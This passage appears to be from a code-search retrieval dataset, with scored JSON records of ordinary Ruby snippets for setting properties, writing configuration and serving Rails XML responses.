"text": "def make_properties(*args)\n file_name, zk, zk_port, principal, krb5conf, jass_conf = args\n str = %(hbase.zookeeper.quorum = #{zk}\\n) +\n %(hbase.zookeeper.property.clientPort = #{zk_port}\\n) +\n %(hadoop.security.authentication = kerberos\\n) +\n %(hbase.security.authentication = kerberos\\n) +\n %(hbase.master.kerberos.principal = #{principal}\\n) +\n %(hbase.regionserver.kerberos.principal = #{principal}\\n) +\n %(java.security.krb5.conf = #{krb5conf}\\n) +\n %(java.security.auth.login.config = #{jass_conf}\\n)\n File.open(file_name, 'w') { |file| file.write str }\n end",
"title": ""
},
{
"docid": "6198124e9a9a39261492004d5aa1f853",
"score": "0.49115008",
"text": "def set_property(property_name, value)\n command(\"set_property\", property_name, value)\n end",
"title": ""
},
{
"docid": "28c2b14233ccf4f28445c82e218f3808",
"score": "0.49026477",
"text": "def set_defaults\n defaults = { primary_ip: '0.0.0.0',\n priority: 100,\n timers_advertise: 1,\n preempt: true,\n enable: true,\n ip_version: 2,\n mac_addr_adv_interval: 30,\n preempt_delay_min: 0,\n preempt_delay_reload: 0,\n delay_reload: 0 }\n\n # If the value is not set in the @property_hash then set\n # the value in the @property_flush.\n defaults.keys.each do |key|\n @property_flush[key] = defaults[key] unless @property_hash.key?(key)\n end\n end",
"title": ""
},
{
"docid": "af00deccf50487ad4074270f4481da34",
"score": "0.48965457",
"text": "def load_properties\n unless Properties.exist?(@propertiesFile)\n\tProperties.copy(@defaultPropertiesFile, @propertiesFile)\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n @properties[\"version/major\"] = FreeBASE::VERSION_MAJOR\n @properties[\"version/minor\"] = FreeBASE::VERSION_MINOR\n @properties[\"version/release\"] = FreeBASE::VERSION_RELEASE\n else\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n end\n end",
"title": ""
},
{
"docid": "2c41d02939b8e93971a598895140fab1",
"score": "0.48939696",
"text": "def env=(environment); end",
"title": ""
},
{
"docid": "2c41d02939b8e93971a598895140fab1",
"score": "0.48939696",
"text": "def env=(environment); end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.48845622",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.48845622",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "4a61b3b7eec328da1102aa192c36c0c8",
"score": "0.4878985",
"text": "def tunable_settings\n [\n 'puppet_enterprise::master::puppetserver::jruby_max_active_instances',\n 'puppet_enterprise::master::puppetserver::reserved_code_cache',\n 'puppet_enterprise::profile::amq::broker::heap_mb',\n 'puppet_enterprise::profile::console::java_args',\n 'puppet_enterprise::profile::database::shared_buffers',\n 'puppet_enterprise::profile::master::java_args',\n 'puppet_enterprise::profile::orchestrator::java_args',\n 'puppet_enterprise::profile::puppetdb::java_args',\n 'puppet_enterprise::puppetdb::command_processing_threads',\n ]\n end",
"title": ""
},
{
"docid": "71750bae7e3d6bdde2b60ec30e70949a",
"score": "0.4874224",
"text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"title": ""
},
{
"docid": "b206bddc4d30734afb74cc1a01501424",
"score": "0.48734128",
"text": "def property_set key, value\n n_file_properties = file_properties.dup\n n_file_properties[key]=value\n self.file_properties= n_file_properties\n end",
"title": ""
},
{
"docid": "9da4a2f7f8ec879a95188d843f453009",
"score": "0.48630244",
"text": "def change_parallels_vm_cpu(options)\n message = \"Information:\\tSetting Parallels VM \"+options['name']+\" CPUs to \"+options['vcpus']\n command = \"prlctl set #{options['name']} --cpus #{options['vcpus']}\"\n execute_command(options,message,command)\n return\nend",
"title": ""
},
{
"docid": "2209dc0a45ef29b312a3f81e8f8f9f66",
"score": "0.48561367",
"text": "def ignore_env_proxy=(_arg0); end",
"title": ""
},
{
"docid": "2209dc0a45ef29b312a3f81e8f8f9f66",
"score": "0.48561367",
"text": "def ignore_env_proxy=(_arg0); end",
"title": ""
},
{
"docid": "2209dc0a45ef29b312a3f81e8f8f9f66",
"score": "0.48561367",
"text": "def ignore_env_proxy=(_arg0); end",
"title": ""
},
{
"docid": "7793a6a43175973d44de2b7df8f7ece0",
"score": "0.48500416",
"text": "def apply_env_proxy_settings(settings)\n $stderr.puts(\"Using proxy #{settings}\") if ENV[\"DEBUG\"]\n scheme = settings[:protocol].downcase\n java.lang.System.setProperty(\"#{scheme}.proxyHost\", settings[:host])\n java.lang.System.setProperty(\"#{scheme}.proxyPort\", settings[:port].to_s)\n java.lang.System.setProperty(\"#{scheme}.proxyUsername\", settings[:username].to_s)\n java.lang.System.setProperty(\"#{scheme}.proxyPassword\", settings[:password].to_s)\n end",
"title": ""
},
{
"docid": "d79e1e9c6949bd902f6d0070a5ddbfd6",
"score": "0.48400468",
"text": "def settings(key)\n ENV[key.to_s.upcase] || monk_settings(key)\nend",
"title": ""
},
{
"docid": "3743c3132ba4c7c87585b9623b8edeeb",
"score": "0.48378044",
"text": "def set!(path, value)\n setProperty path, value\n save if respond_to? :save # Only Configuration can save\n value\n end",
"title": ""
},
{
"docid": "a87afe958aa8a56addb3aae02146bbb8",
"score": "0.48326355",
"text": "def set_sys_config\n @sys_config = SysConfig.config\n end",
"title": ""
},
{
"docid": "4c0a93947901855680afb0d228c50122",
"score": "0.48325637",
"text": "def properties=(value)\n if value == @defaults['properties']\n @values.delete 'properties' if @values.key? 'properties'\n else\n @values['properties'] = value\n end\n end",
"title": ""
},
{
"docid": "a18850f2ceb6346f475692be6cd6da5f",
"score": "0.4830527",
"text": "def set_transfer_properties(options)\n @transfer_properties = get_option(options, \"transfer_properties\", {})\n prop_filter = get_option(options, \"property_filter\", \"ARG_\")\n retain_prefix = get_option(options, \"retain_property_prefix\", false)\n @p.local_params.each{|k,v| @transfer_properties[(retain_prefix ? k : k.gsub(prop_filter,\"\"))] = v if k.start_with?(prop_filter) }\n @p.params.each{|k,v| @transfer_properties[(retain_prefix ? k : k.gsub(prop_filter,\"\"))] = v if k.start_with?(prop_filter) }\n @transfer_properties\n end",
"title": ""
},
{
"docid": "7b1d2242b1a6bd8d3cad29be97783a80",
"score": "0.48249757",
"text": "def set_props(props)\n @props.merge!(props)\n end",
"title": ""
},
{
"docid": "9c11626b034017f89fb6d7c6441b62ad",
"score": "0.48189223",
"text": "def create_localised_property_setter(property)\n property_name = property.name\n class_eval <<-EOS\n def #{property_name}=(value)\n write_localised_attribute('#{property_name}', value)\n end\n EOS\n end",
"title": ""
},
{
"docid": "593de84fa9950baa68153e4fa9b6e17c",
"score": "0.48088256",
"text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end",
"title": ""
},
{
"docid": "f6956e251cccaa8def216e742f6d6c11",
"score": "0.48065004",
"text": "def set_remote_env(env); end",
"title": ""
},
{
"docid": "172b2993936c243f262c1c258c8416ef",
"score": "0.4801758",
"text": "def mutate_config(*args)\n raise RuntimeError, \"can't modify immutable cached environment\"\n end",
"title": ""
},
{
"docid": "d997d2bfe1f908893db5ce9978fc2752",
"score": "0.47996",
"text": "def update!(**args)\n @trust_prop = args[:trust_prop] if args.key?(:trust_prop)\n end",
"title": ""
},
{
"docid": "99ec96053fc875c5766b516aa674e07c",
"score": "0.47991577",
"text": "def set_property(kid, v)\n if @property_description && desc = @property_description[kid]\n if desc.accessible? v\n self[desc.name] = v\n elsif desc.convertable? v\n self[desc.name] = desc.convert v\n else\n raise ArgumentError.new \"#{kid} should be #{desc.type}.\"\n end\n else\n self[kid] = v\n end\n end",
"title": ""
},
{
"docid": "8e0390c3265ced475897f82be92762ee",
"score": "0.47731385",
"text": "def set_property( propname, value )\n params = { 'value' => value }\n resp = conn.put('/users/'+name+'/props/'+propname+'/', params)\n \n case resp.code.to_i\n when 200\n return JSON.parse( resp.body )\n when 201\n return\n when 404\n raise RestAuthResourceNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"title": ""
},
{
"docid": "23642f887f9be4c02c58782afcd91e3e",
"score": "0.47724852",
"text": "def update\n self.uninstall if (@property_hash[:ensure] || info2hash()[:ensure]) != :absent\n self.install\n end",
"title": ""
},
{
"docid": "d1d6a63e798aa8a327f2fa5cc5f5d324",
"score": "0.4771036",
"text": "def initialize(*all)\n @posix = false\n @style_types = 0x00\n\n raise(MissingPropertyError,\n \"No properties specified for new #{self.class}.\") if all.empty?\n\n until Hash === all[0]\n case (prop = all.shift)\n when :flag then @flag = true\n when :posix then @posix = true\n else \n raise(InvalidPropertyError, \"Unknown option setting '#{prop}'.\")\n end\n end\n\n # Checking for valid properties\n unknown_keys = all[0].keys.find_all { |k| \n !PROPERTIES.include?(k) && /^use?r_/ !~ \"#{k}\" }\n raise(InvalidPropertyError, \n \"The key #{unknown_keys.inspect} is not known and is not a user key.\") unless \n unknown_keys.empty?\n \n #@flag = nil unless defined?(@flag)\n type = @flag.nil? ? :default : :flag\n #merge_hash = \n # case type\n # when :flag then FLAG_BASE_OPTS\n # when :default then DEFAULT_OPTS\n # else raise(InvalidConstructionError, \n # \"Invalid arguments to Option.new. Must be a property hash with \"+\n # \"keys [:names, :arity, :opt_description, :arg_description, \"+\n # \":opt_found, :opt_not_found] or \"+\n # \"an option type [:flag, :default].\")\n # end\n merge_hash = @flag.nil? ? DEFAULT_OPTS : FLAG_BASE_OPTS\n\n @properties = Marshal.load(Marshal.dump(merge_hash))\n all.each { |properties|\n raise(InvalidPropertyError, \n \"Don't understand argument of type '#{properties.class}' => \"+\n \"#{properties.inspect} passed to #{self.class}.new. Looking \"+\n \"for type Hash.\") unless properties.kind_of?(Hash)\n\n @properties.merge!(properties)\n }\n \n @properties[:names] = [@properties[:names]].flatten.compact\n\n arg_arity = @properties[:arity]\n raise \"Invalid value for arity '#{arg_arity}'.\" unless \n arg_arity.kind_of?(Array) || arg_arity.kind_of?(Fixnum)\n\n @properties[:arity] = [arg_arity, arg_arity] unless \n arg_arity.kind_of?(Array)\n\n raise(InvalidArgumentArityError,\n \"Conflicting value given to new option: :flag \"+\n \"and :arity = #{@properties[:arity].inspect}.\") if \n :flag == type && [0,0] != @properties[:arity]\n\n names = @properties[:names]\n raise(MissingOptionNameError, \n \"Attempt to create an Option without :names defined.\") if \n names.nil? || names.empty?\n\n names.each { |name| check_option_name(name) }\n validate_arity @properties[:arity]\n record_option_styles(names)\n\n create_opt_description if type == :flag\n end",
"title": ""
},
{
"docid": "eec2b197cbfcf65b4f94943a1055b6d4",
"score": "0.4769091",
"text": "def set_ant_property(key, value)\n instance_eval(\"@%s = '%s'\" % [ key.to_s, value.to_s ])\n end",
"title": ""
},
{
"docid": "99941568717f481c1b8040f070242042",
"score": "0.47690815",
"text": "def set_property property_name, property_value\n \n begin\n \n if @filename == ''\n raise 'Base file not specified.'\n end\n \n if property_name == ''\n raise 'Property name not specified.'\n end\n \n if property_value == ''\n raise 'Property value not specified.'\n end\n \n post_hash = { 'Value' => property_value}\n json_data = post_hash.to_json \n \n str_uri = $product_uri + '/slides/' + @filename + '/documentProperties/' + property_name\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = RestClient.put(signed_str_uri,json_data,{:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash['Code'] == 200)\n return stream_hash['DocumentProperty']\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"title": ""
},
{
"docid": "3a95db208c8ec8618f08e402e9b86175",
"score": "0.47663018",
"text": "def setup_profiled(**args)\n super(**args)\n default_env_vars.each do |key, value|\n set_env_default key, value\n end\n end",
"title": ""
},
{
"docid": "0df1a06f064f10cb49a1f53c1f91409b",
"score": "0.475718",
"text": "def add_standard_property(key, value, overrides = {})\n # Create it if required.\n @standard_config = get_configuration('standard') unless defined? @standard_config\n @standard_config.add_property(key, value, overrides)\n end",
"title": ""
},
{
"docid": "2b881514148d5fa36d7797b7ec477973",
"score": "0.4749754",
"text": "def update!(**args)\n @container_runtime = args[:container_runtime] if args.key?(:container_runtime)\n @max_pods_per_node = args[:max_pods_per_node] if args.key?(:max_pods_per_node)\n end",
"title": ""
},
{
"docid": "305d976d7ec8108627dce3889a3d3f2f",
"score": "0.47480443",
"text": "def add_persistent_deploy_property(name, value)\n add_persistent_property(@deploy_file, name, value)\n end",
"title": ""
},
{
"docid": "c3b04420f7a3f6bbd1061ac6696b5722",
"score": "0.47479856",
"text": "def setting(property, value)\n\t\tproperty + ':' + value + ';'\n\tend",
"title": ""
}
] |
5768d6a4594531fe780a5e907504dc80 | GET /hats/1 GET /hats/1.xml | [
{
"docid": "f5c90108fab09e5666134a1937e26ad9",
"score": "0.6333693",
"text": "def show\n @hat = Hat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hat }\n end\n end",
"title": ""
}
] | [
{
"docid": "9ed5321765652b0df9be52251ca61ca6",
"score": "0.6711719",
"text": "def index\n @hats = Hat.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n# format.xml { render :xml => @hats }\n end\n end",
"title": ""
},
{
"docid": "d4fc9d9e7eb3698419e0f4fb92ea2020",
"score": "0.58443725",
"text": "def show\n @hecho = Hecho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hecho }\n end\n end",
"title": ""
},
{
"docid": "0d784e792ab10eda1c418c9d67a99d3f",
"score": "0.58175343",
"text": "def show\n @hap = Hap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hap }\n end\n end",
"title": ""
},
{
"docid": "04cbd016e875b05787eb0275b68a9ab7",
"score": "0.5799611",
"text": "def show\n @witch_cat = WitchCat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @witch_cat }\n end\n end",
"title": ""
},
{
"docid": "ca30873b1107fd508ddb254295373a7e",
"score": "0.5792123",
"text": "def show\n @chat = Chat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chat }\n end\n end",
"title": ""
},
{
"docid": "ca30873b1107fd508ddb254295373a7e",
"score": "0.5792123",
"text": "def show\n @chat = Chat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chat }\n end\n end",
"title": ""
},
{
"docid": "300fd54d4dbe4c53bd70d8be8dd3987e",
"score": "0.576933",
"text": "def show\n @horary = Horary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @horary }\n end\n end",
"title": ""
},
{
"docid": "f9a545172e403d2cbe1b1c7fcc94808d",
"score": "0.5703162",
"text": "def station1\n @response = Twilio::TwiML::Response.new do |r|\n r.Play 'http://teethtracker.heroku.com/call01.mp3'\n r.Dial :callerId => '+19138151163' do |d|\n d.Client 'Authorities'\n end\n end\n\n respond_to do |format|\n format.all {render :xml => @response.text }\n end\n end",
"title": ""
},
{
"docid": "15990060bb361fdf061549a9ffa62689",
"score": "0.57001126",
"text": "def index\n @hats = Hat.all\n end",
"title": ""
},
{
"docid": "15990060bb361fdf061549a9ffa62689",
"score": "0.57001126",
"text": "def index\n @hats = Hat.all\n end",
"title": ""
},
{
"docid": "75cbcf56e70b6f05f18bf63abd4293fd",
"score": "0.5690647",
"text": "def index\n self.class.get(\"/cards/index.xml\");\n end",
"title": ""
},
{
"docid": "4d6112e252092e3d8905e5916b2353ce",
"score": "0.5676904",
"text": "def show\n @housing_service = HousingService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @housing_service }\n end\n end",
"title": ""
},
{
"docid": "9d24307c451ab03ab351a666c3dc2807",
"score": "0.5659724",
"text": "def show\n @happening = Happening.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @happening }\n end\n end",
"title": ""
},
{
"docid": "066bb5b08454906bb5f72a7d467ce8b2",
"score": "0.5655237",
"text": "def show\n @hit = Hit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hit }\n end\n end",
"title": ""
},
{
"docid": "8ed572d85766c254bfaea8e52c66c61f",
"score": "0.56539536",
"text": "def show\n @headach = Headach.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @headach }\n end\n end",
"title": ""
},
{
"docid": "d749c89044b4d08a02f66dc206c67950",
"score": "0.56505",
"text": "def show\n @say = Say.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @say }\n end\n end",
"title": ""
},
{
"docid": "cba2fbcfe1543d1040cd672be9d62282",
"score": "0.565015",
"text": "def show\n @hub = Hub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hub }\n end\n end",
"title": ""
},
{
"docid": "5fd6d2bf4ef7c9dfe3a4ac8afee442e2",
"score": "0.56375474",
"text": "def get\n @xml = @paths.map { |path|\n puts \"GET\\t#{@host + path}\"\n RestClient.get(@host + path) { |response, request, result|\n puts \"RESPONSE #{response.code}\"\n response.body\n }\n }.map { |response|\n Nokogiri::XML(response).xpath(\"/*\").to_s\n }\n self\n end",
"title": ""
},
{
"docid": "8ca02bb29104366ee9f3f88a451b33cd",
"score": "0.56328976",
"text": "def index\n @hackathons = Hackathon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hackathons }\n end\n end",
"title": ""
},
{
"docid": "eed2fd9e507ebe883af91d3c58dc78fa",
"score": "0.5620826",
"text": "def show\n @shed = Shed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shed }\n end\n end",
"title": ""
},
{
"docid": "ef6b8c7b3f31e721226471d4fec083af",
"score": "0.56190795",
"text": "def index\n @hipchats = Hipchat.all\n end",
"title": ""
},
{
"docid": "596c176a0c45b61256bb440bcb349bf4",
"score": "0.561173",
"text": "def index\n @happenings = Happening.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @happenings }\n end\n end",
"title": ""
},
{
"docid": "d8d537515bf18d3ac9194f9a7995325f",
"score": "0.56024086",
"text": "def beaches\n p \"surf_alarm beach action\"\n respond_to do |format|\n format.text\n format.xml\n end\n end",
"title": ""
},
{
"docid": "092b32fe7594ec690d3f9d37342b58aa",
"score": "0.55927724",
"text": "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "542b51ff347fd9e0cac96f2ec5f3c208",
"score": "0.55895054",
"text": "def show\n @chat_session = ChatSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chat_session }\n end\n end",
"title": ""
},
{
"docid": "de256e073db783355b77b1293889aec3",
"score": "0.5585602",
"text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n \r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n \r\n response.body\r\n end",
"title": ""
},
{
"docid": "5412f0a187bbc4ad5965fbc6f852fc61",
"score": "0.55851156",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sip_servers }\n end\n end",
"title": ""
},
{
"docid": "5412f0a187bbc4ad5965fbc6f852fc61",
"score": "0.5584808",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sip_servers }\n end\n end",
"title": ""
},
{
"docid": "b1bfa6e5ba9cca6a062b5a933adb92a7",
"score": "0.5565966",
"text": "def show\n @hoge = Hoge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hoge }\n end\n end",
"title": ""
},
{
"docid": "da3cc564359707ee52e1b0c43eb45016",
"score": "0.5553803",
"text": "def show\n @shisha = Shisha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shisha }\n end\n end",
"title": ""
},
{
"docid": "335af38450949289c4daafd278e768be",
"score": "0.5543325",
"text": "def show\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historial }\n end\n end",
"title": ""
},
{
"docid": "37be0ceb4da264628d6c479dd96d6833",
"score": "0.55387706",
"text": "def show\n @ping = Ping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ping }\n end\n end",
"title": ""
},
{
"docid": "979dcda4e87e4157095e5c02eae5ef14",
"score": "0.5533752",
"text": "def show\n @beat = Beat.find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @beat }\n end\n end",
"title": ""
},
{
"docid": "10f6bfff2207d6340f1dd7ae93444c4c",
"score": "0.5532285",
"text": "def show\n @history = History.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @history }\n end\n end",
"title": ""
},
{
"docid": "c019f3d11e3e90884bd66136bd2aec78",
"score": "0.5530475",
"text": "def show\n @greeting = Greeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @greeting }\n end\n end",
"title": ""
},
{
"docid": "d3da825d5becf6e819a6fa59ce5f108d",
"score": "0.5526529",
"text": "def show\n @whishlist = Whishlist.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @whishlist }\n end\n end",
"title": ""
},
{
"docid": "a457a67fb2bcdce828c88e02d57e1bcd",
"score": "0.55257916",
"text": "def show\n @subrack = Subrack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subrack }\n end\n end",
"title": ""
},
{
"docid": "802270a8ff4621847bfa868cec288afb",
"score": "0.5522732",
"text": "def show\n @cheat = Cheat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cheat }\n end\n end",
"title": ""
},
{
"docid": "ba4808f111d1afeb3f842f4bd72e324f",
"score": "0.5522501",
"text": "def show\n @history = History.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @history }\n end\n end",
"title": ""
},
{
"docid": "27519824b67207bccfba0de28d5b2919",
"score": "0.5520665",
"text": "def url; \"http://localhost:3000/sdn.xml\"; end",
"title": ""
},
{
"docid": "228ca8b2bbe73248867fad973042dc40",
"score": "0.5501826",
"text": "def show\n @historico = Historico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historico }\n end\n end",
"title": ""
},
{
"docid": "1df64a6a9126032ed49182123fdaddbf",
"score": "0.55014795",
"text": "def show\n @chat_line = ChatLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chat_line }\n end\n end",
"title": ""
},
{
"docid": "4cad149146c750d9398f752e10a7d0d2",
"score": "0.54978335",
"text": "def hangup\n respond_to do |format|\n format.xml { render xml: Sip::Response.empty }\n end\n end",
"title": ""
},
{
"docid": "424c1f7f91c37790eb84b2bf40241f7d",
"score": "0.54965997",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chatroom }\n end\n end",
"title": ""
},
{
"docid": "b2069cc1c3a228f7167cb5be372a1d96",
"score": "0.54931605",
"text": "def show\n @historique = Historique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historique }\n end\n end",
"title": ""
},
{
"docid": "b55211f5b142fa868b6dbdc2ba93325d",
"score": "0.54886115",
"text": "def index\n @talks = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @talks }\n end\n end",
"title": ""
},
{
"docid": "8e569cec62be315ce27ade573d7bdd6e",
"score": "0.5488192",
"text": "def show\n @kicad_housing = KicadHousing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kicad_housing }\n end\n end",
"title": ""
},
{
"docid": "6eebe34ad2f61be5c54622ec91e0d8a9",
"score": "0.54870206",
"text": "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"title": ""
},
{
"docid": "6eebe34ad2f61be5c54622ec91e0d8a9",
"score": "0.54870206",
"text": "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"title": ""
},
{
"docid": "b48e264ef22ae79fcf119281225590f0",
"score": "0.5482887",
"text": "def show\n @beat = Beat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @beat }\n end\n end",
"title": ""
},
{
"docid": "3d200ed1b517bb8836c512ffe46b4c5e",
"score": "0.5478535",
"text": "def show\n @haimai = Haimai.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @haimai }\n end\n end",
"title": ""
},
{
"docid": "c61c442b5455ca94caf897499fa2103a",
"score": "0.5471341",
"text": "def index\n @talks = @conference.talks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @talks }\n end\n end",
"title": ""
},
{
"docid": "5dc3dbb08524658203cb74dcc1f083e4",
"score": "0.5446193",
"text": "def index\n @housing_categories = HousingCategory.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @housing_categories }\n end\n end",
"title": ""
},
{
"docid": "737ed3f0a902ecdc350203bbaebc975c",
"score": "0.54382807",
"text": "def show\n @therapy = Therapy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @therapy }\n end\n end",
"title": ""
},
{
"docid": "03fd209a39c07f75ced02c0259b456d7",
"score": "0.5435797",
"text": "def listing_xml(id)\n curl = Curl::Easy.new(\"https://api.datahubus.com/v1/listings/#{id}?auth_token=#{ENV['AUTH_TOKEN']}\")\n curl.perform\n @listing_json = JSON.parse(curl.body_str)['listing']\nend",
"title": ""
},
{
"docid": "03fd209a39c07f75ced02c0259b456d7",
"score": "0.5435797",
"text": "def listing_xml(id)\n curl = Curl::Easy.new(\"https://api.datahubus.com/v1/listings/#{id}?auth_token=#{ENV['AUTH_TOKEN']}\")\n curl.perform\n @listing_json = JSON.parse(curl.body_str)['listing']\nend",
"title": ""
},
{
"docid": "9885bd1c0aa93a43a521d68124f44044",
"score": "0.54357684",
"text": "def manifest\n @story = Story.find(params[:id])\n \n respond_to do |format|\n format.xml { render :xml => @stories }\n end\n end",
"title": ""
},
{
"docid": "8c47801177801fdf92a7bdd42caced2d",
"score": "0.5432945",
"text": "def show\n @servicing_history = ServicingHistory.find(params[:id])\n \n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @servicing_history }\n end\n end",
"title": ""
},
{
"docid": "590da5dfed9ce7b943099395f8c4fdac",
"score": "0.5432337",
"text": "def show\n @shortessay = Shortessay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shortessay }\n end\n end",
"title": ""
},
{
"docid": "d57f45020b623bbb06394bb5ef3c40d4",
"score": "0.5432316",
"text": "def show\n @microhood = Microhood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microhood }\n end\n end",
"title": ""
},
{
"docid": "5a896d73b37584bfc114c2119636c20b",
"score": "0.5432303",
"text": "def ping\n respond_to do |format|\n if @server.ping\n format.xml { render :xml => @server.to_xml(:only => [ :id, :name, :hostname, :last_seen ]) }\n # format.xml { head :ok, :location => server_path(@server) }\n else\n format.xml { render :xml => @server.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4e28aceb08673c43a3c5128e901a21b",
"score": "0.54279345",
"text": "def _request(meth, uri, req, *hargs)\n path = \"#{uri.path}/#{meth}?#{h2get(hargs[0])}\"\n puts path if $debug\n open(\"xml.log\", \"a\") { |f|\n f << \"*\" * 50\n f << \"#{Time.now}\\n\"\n f << path\n f << \"\\n\"\n } if $logxml\n convert(req.get(path).body) unless $trap\n end",
"title": ""
},
{
"docid": "52f96b3bf2ac8219da9057e10456b84e",
"score": "0.54254943",
"text": "def show\n @simplayer = Simplayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @simplayer }\n end\n end",
"title": ""
},
{
"docid": "b0e78a24e5820502023151e96e4b693b",
"score": "0.54230493",
"text": "def show\n @housing_category = HousingCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @housing_category }\n end\n end",
"title": ""
},
{
"docid": "a3c4b858c32604119ae283fcbc5f8fcd",
"score": "0.5409677",
"text": "def show\n @power_socket = PowerSocket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @power_socket }\n end\n end",
"title": ""
},
{
"docid": "3e97b54d62735f0c711d85b7574187c7",
"score": "0.5409359",
"text": "def show\r\n Usage.switch_data(params[:Usage], \"daily\")\r\n @usages = Usage.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @usages.to_xml(:root => 'records', :children => 'record', :dasherize => false) }\r\n end\r\n end",
"title": ""
},
{
"docid": "1b8becea03f7736f1c4770ac1a1fe017",
"score": "0.54092485",
"text": "def index\n @says = Say.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @says }\n end\n end",
"title": ""
},
{
"docid": "d1c86c5e8c9be9f0c2d81cddda79b923",
"score": "0.54078656",
"text": "def index\n @dailies = @location.dailies\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dailies }\n end\n end",
"title": ""
},
{
